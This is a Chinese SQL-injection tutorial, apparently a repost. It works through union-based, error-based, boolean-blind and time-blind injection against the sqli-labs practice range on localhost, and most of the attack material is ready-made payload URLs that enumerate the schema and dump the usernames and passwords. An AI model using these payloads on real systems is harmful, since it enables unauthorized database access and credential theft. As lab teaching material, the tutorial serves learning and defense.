网络安全进阶学习第十课——MySQL手工注入

这篇具有很好参考价值的文章主要介绍了网络安全进阶学习第十课——MySQL手工注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


一、MYSQL数据库常用函数

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习


二、MYSQL默认的4个系统数据库以及重点库和表

重点库:information_schema
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习


三、判断数据库类型

PHP的网站,常用数据库为MYSQL、PostgreSQL
判断数据库类型:

  • MYSQL:3306
  • PostgreSQL:5432
  • MSSQL:1433

四、联合查询注入

使用场景:数据库在页面中存在显示位。

UNION操作符用于连接两个以上的SELECT语句的结果组合到一个结果集合中。前提是两个select必有相同列

1、具体步骤(靶场演示):

1)首先判断注入点

如下:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这里就可以确定注入点是在id这个位置

2)判断是数字型还是字符型

使用1/1和1/0方式来进行测试
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
1/1和1/0都不报错,也就是说没有反应,说明不是数字型

直接添加1个单引号和2个单引号测试
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
1个单引号发生报错,2个单引号不报错,说明这是字符型

3)要判断注入点的列数

使用order by;order by 是用来排序的。假如order by 3不报错,order by
4发生报错,这就说明该表只有3列。
如下:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-1/?id=1' order by 4--+

对应的SQL语句:

select * from 表名(未知) where order by 4;
#让他报错

4)获取数据库在网页中的显示位

知道列数后,就需要获取数据库在网页中的显示位(就是显示在网页上的字段),可以使用union来拼接错误查询和自我构造的select语句。

如下:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
http://localhost/Less-1/?id=1

对应的SQL语句:

select * from 表名(未知) where id=1;

此处页面上显示:

Your Login name: Dumb
Your Password: Dumb

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
http://localhost/Less-1/?id=2

对应的SQL语句:

select * from 表名(未知) where id=2;

页面上显示:

Your Login name: Angelina
Your Password: I-kill-you

构造错误的select查询字段,例如把id=1改成id=-1
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2,3 --+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2,3;

页面上显示:

Your Login name: 2
Your Password: 3

这样子就知道显示位是数据表的第2列和第3列了。

5)构造POC查询用户名和数据库名

在显示位上构造要查询的函数,例如当前用户名和数据库名
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
构造POC:
http://localhost/ Less-1/?id=-1' union select 1,user(),database()--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,user(),database();

页面上显示:

Your Login name: root@localhost
Your Password: security

这样我就知道当前数据库的用户名和数据库名了。

6)查库的所有表名

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, table_name from information_schema.tables where table_schema='security'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security';

上面就只会输出第一个表名字email,而不会输出全部的表名

输出所有的表名,使用group_concat()函数来拼接输出
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';

这样就知道security这个数据库里面所有的表名字:emails,referers,uagents,users

或者
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

注意,不能如下写法
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
如图,这样写是会报错

报错原因:是因为where会把后面的所有内容都纳入条件里面,也就是说会把后面的 3 也当成了查询条件,从而导致语法错误。

7)查出特定表的所有字段名

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security';

现在这里就输出了security这个数据库里面所有表的所有字段名称

现在又有另一个问题了,就是我只想知道敏感数据表的字段名,例如users这个表里面的字段名,这时候就要:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

对应的SQL语句:

select * from 表名(未知) where id=-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';

现在这样子就知道了users这个表的所有字段名,假设知道了字段是:id,username,password

8)查询users这个表的所有数据

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,group_concat(username), group_concat(password) from users--+

对应的SQL语句:

select * from users where id=-1 union select 1,group_concat(username), group_concat(password) from users;

这样就把所有的学生名和密码都查出了,同时也知道了显示位显示的表就是users表

美化一下:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2, group_concat(username,'^',password) from users--+

对应的SQL语句:

select * from users where id=-1 union select 1,2, group_concat(username,'^',password) from users;

9)使用另一种方式查看数据

也可以不使用group_concat()函数,使用concat()+limit的方式来查看表的数据。
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2,group_concat(username,'^',password) from users limit 0,1--+

对应的SQL语句:

select * from users where id=-1 union select 1,2,group_concat(username,'^',password) from users limit 0,1;

这样子就可以一条一条来看。


五、报错注入

使用场景:数据库错误提示会在页面上显示。

1、MYSQL常用使用的报错函数:

1)floor( )

常用注入语法格式:

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x) a);

2)extractvalue( )

extractvalue(xml_frag, xpath_expr)
从一个使用xpath语法的xml字符串中提取一个值。

xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。

若xpath_expr参数不符合xpath格式,就会报错。而~ 符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会报错。

常用注入语法格式:

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e),1));

3)updatexml( )

常用注入语法格式:

select * form test where id=1 and (updatexml(1,concat(0x7e,(select user())),1));

4)geometrycollection( )

常用注入语法格式:

select * from test where id=1 and geometrycollection((select * from(select user())a)b));

5)multipoint( )

常用注入语法格式:

select * from test where id=1 and multipoint((select * from(select user())a)b));

6)polygon( )

常用注入语法格式:

select * from test where id=1 and polygon((select * from(select user())a)b));

7)multipolygon( )

常用注入语法格式:

select * from test where id=1 and multipolygon((select * from(select user())a)b));

8)linestring( )

常用注入语法格式:

select * from test where id=1 and linestring((select * from(select user())a)b));

9)multilinestring()

常用注入语法格式:

select * from test where id=1 and multilinestring((select * from(select user())a)b));

10)exp( )

常用注入语法格式:

select * from test where id=1 and exp(~(select * from(select user())a));

11)gtid_subset( )

常用注入语法格式:

select gtid_subset(user(),1);

2、报错注入步骤(靶场演示)

1)确定数据库出错会在页面上显示

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习

2)寻找注入点(参考联合注入)

3)判断是数字型还是字符型(参考联合注入)

4)使用报错函数,构造轮子

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这里就使用updatexml()函数,这个函数第二个参数要是有特殊字符是会报错的,这里0x7e是“~”的URL编码。

使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,0x7e,1)--+

对应的SQL语句:

select * from users where id=1 and updatexml(1,0x7e,1);

5)获取数据库名和用户名

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,concat(0x7e,database()),1)--+

对应的SQL语句:

select * from users where id=1 and updatexml(1,concat(0x7e,database()),1);

6)获取所有的表名

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/ Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)–+

对应的SQL语句:

select * from users where id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1);

7)获取特定表的字段名(参考联合注入)

8)获取特定表的数据(参考联合注入)

3、报错注入有字符串长度限制

报错注入常用的函数通常会有字符串长度限制,其最长输出32位。如果直接使用group_concat()函数会输出不全。

举例:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,'^',password) from users)),1) --+

这样子只能输出32个字符串长度的内容,无法输出全;

这时候就要使用limit来进行操作,来进行一个一个的输出:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select concat(username,‘^’,password) from users limit 0,1)),1) --+


六、盲注

1、布尔类型盲注

使用场景:页面没有显示位,数据库查询出错也不会在页面上显示,只会有查询正确和查询错误两种页面提示,例如下面这种情况:

正常,为true
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习

添加1个单引号,为false
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习

添加2个单引号,为true
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习

2、布尔盲注注入步骤:

1)找到注入点(参考联合注入)

2)构造轮子

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=1,1,0)--+

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=2,1,0)--+

3)获取当前用户名和数据库名长度

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(length(user())=8,1,0)--+

接着可以使用BP爆破长度
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这样子就猜出用户名字符串长度是14。使用同样方法可以得出当前数据库名的长度是8。

4)获取当前用户名和数据库名

方法一:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
http://localhost/Less-8/?id=1' and 1=if(mid(user(),1,1)='q',1,0)--+

同样可以使用BP爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
爆破两个payload

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
第一个爆破位置,只使用数字

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
第二个爆破字符,就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这样就爆破出来了,就得出当前用户名是:root@localhost。同样方法可以获取到当前数据库名是:security

方法二:
当截取函数是被禁用,无法使用,那么就使用like+‘_’
举例上面我已经知道当前用户名的字符串长度是14,需要获取到用户名的名字
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(user()+like+'______________',1,0)--+

这里的返回值是ture。因为正则里面下划线”_”是可以代表任意字符的。

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这样子,我们就可以使用BP逐位逐位地进行爆破,从而获取到对应的用户名名字。

5)获取当前数据库所有的表名的长度

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=10--+

使用BP爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这里就获得长度是29位。

6)获取当前数据库所有的表名的名字

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+

使用BP进行爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
上述第一个payload知道是29位,字典就选到29

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
第二个payload的字典就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
好了这样就知道所有的表名字是:emails,referers,uagents,users

7)获取users表的所有字段名总长度

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=10--+

同样BP爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这样子就知道了users表的字段名总字符串长度是20

8)获取users表的所有字段名名字

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a' --+

同样使用BP爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这里就获得users表的字段名称是:id,username,password

9)获取users表的所有数据每一行的总长度

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
构造POC:
http://localhost/Less-8/?id=1' and length((select concat(username,'^',password) from users limit 0,1))=10--+

开始使用BP爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这样子就知道该表一共有13行,并且每行concat拼接后对应的字符串长度。

10)获取users表的目的数据

由于上面已经知道该表的字段名、数据行数、每行拼接后的总字符串长度,那么就可以逐行地进行爆破。
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-8/?id=1' and mid((select concat(username,'^',password) from users limit 0,1),1,1)='a' --+
具体BP爆破就不多说了,操作差不多。

3、时间盲注

页面返回值只有一种:true。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确。
例如下面这种情况:
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习

4、时间盲注注入步骤:

1)寻找注入点(参考联合注入)

2)判断是数字型还是字符型(参考联合注入)

3)测试sleep函数有没有被过滤,是否会被执行

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
sleep(1)相应时间时13158毫秒

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
sleep(0)相应时间时16毫秒

这里就说明sleep()函数会被执行

4)获取当前用户名和数据库长度

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
使用的POC:
http://localhost/Less-48/?sort=1 and if(length(user())=10,sleep(1),1)--+
这里就是假如猜测的长度争取,就会执行sleep(1)。

使用BP爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习

下面需要勾选响应时间
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
多了一列选项,由于正确就会执行sleep(1),所以相应时间最长的那一个就是正确的结果,这里就是14。同理爆破数据库名长度是8。

5)获取当前用户名和数据库名

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
http://localhost/Less-48/?sort=1 and if(mid(user(),1,1)='a',sleep(1),1)--+

接着使用BP爆破
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
第二个爆破payload字典,注意把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。

网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
网络安全进阶学习第十课——MySQL手工注入,web安全,web安全,学习
这里就能看出来爆破出来的用户名按照顺序排列是:root@localhost;同理使用同样的方法爆破获得数据库名是:security。文章来源地址https://www.toymoban.com/news/detail-686384.html

6)获取当前数据库所有的表名的总字符串长度(参考布尔盲注)

7)获取当前数据库所有的表名(参考布尔盲注)

8)获取users表的所有字段名的总字符串长度(参考布尔盲注)

9)获取users表的所有字段名(参考布尔盲注)

10)获取users表的目的数据(参考布尔盲注)


到了这里,关于网络安全进阶学习第十课——MySQL手工注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全进阶学习第十五课——Oracle SQL注入

    Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。 Oracle服务默认端口:1521 Oracle和MySQL数据库语法大致相同,结构不太相同。 最大的一

    2024年02月11日
    浏览(36)
  • 网络安全进阶学习第十三课——SQL注入Bypass姿势

    1、like,rlike语句,其中rlike是正则 2、大于号,小于号 3、符号:为不等于的意思相当于!= 4、采用regexp函数 5、in 6、between 1、 substring、substrB 2、 locate(str1,str2) 返回str1字符串在str2里第一次出现的位置,没有则返回0; locate(str1,str2, pos ) 返回str1字符串在str2里pos(起始位置)出现

    2024年02月13日
    浏览(41)
  • 网络安全进阶学习第十二课——SQL手工注入3(Access数据库)

    判断数据库类型 —— 判断表名 —— 判断列名 —— 判断列名长度 —— 查出数据。 asp的网站,常用数据库为access、sqlserver。 and exsits (select * from msysobjects)0 access and exsits (select * from sysobjects)0 sqlserver 上述语句 会返回1或者0 。 msysobjects是access的默认数据库 , sysobjects是sqlserv

    2024年02月11日
    浏览(46)
  • 网络安全入门学习第十七课——PHP数组

    索引数组是指 键名为整数 的数组。 默认 情况下,索引数组的 键名是从0开始 ,并依次递增。它主要适用于利用位置(0、1、2……)来标识数组元素的情况。另外,索引数组的键名也可以自己指定。 关联数组是指 键名为字符串 的数组。通常情况下,关联数组元素的“键”和

    2024年02月09日
    浏览(47)
  • 网络安全入门学习第十七课——PHP表单交互

    表单的主要功能:就是在网页上用于输入信息的区域,收集用户输入的信息,并将其提交给后端的服务器进行处理,实现用户与服务器的交互。 例如:购物结算、信息搜索等都是通过表单实现的。 一个完整的表单是由表单域和表单控件组成的。其中,表单域由form标记定义,

    2024年02月12日
    浏览(43)
  • 网络安全进阶学习第八课——信息收集

    信息收集(Information Gathering)信息收集是指通过各种方式获取所需要的信息。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 收集信

    2024年02月13日
    浏览(43)
  • 网络安全进阶学习第七课——文件包含漏洞

    开发人员通常会把可重复使用的函数写到单个文件中,在 使用某些函数 时, 直接调用此文件 ,而无需再次编写,这种调用文件的过程一般被称为包含。 为了使代码更加灵活,通常会将被包含的文件设置为 变量 ,用来进行动态调用,但正是由于这种灵活性,从而导致客户端

    2024年02月15日
    浏览(47)
  • 网络安全进阶学习第五课——文件上传漏洞

    大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等。 由于对上传文件 未作过滤 或 过滤机制不严(文件后缀或类型) ,导致恶意用户可以上传 脚本文件 ,通过上传文件可以达到控制网站权限的目的。 攻击者可获得网站控制权限; 查看、修改

    2024年02月06日
    浏览(33)
  • 网络安全进阶学习第九课——SQL注入介绍

    将 不受信任 的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在 没有适当授权 的情况下执行非预期命令或访问数据。 注入能导致 数据丢失、破坏 或 泄露给无授权方 ,缺乏可审

    2024年02月14日
    浏览(39)
  • 网络安全进阶学习第二十一课——XXE

    XXE(XML External Entity,XML) 外部实体 注入攻击。 — — 攻击者通过构造 恶意的外部实体 ,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍

    2024年02月06日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包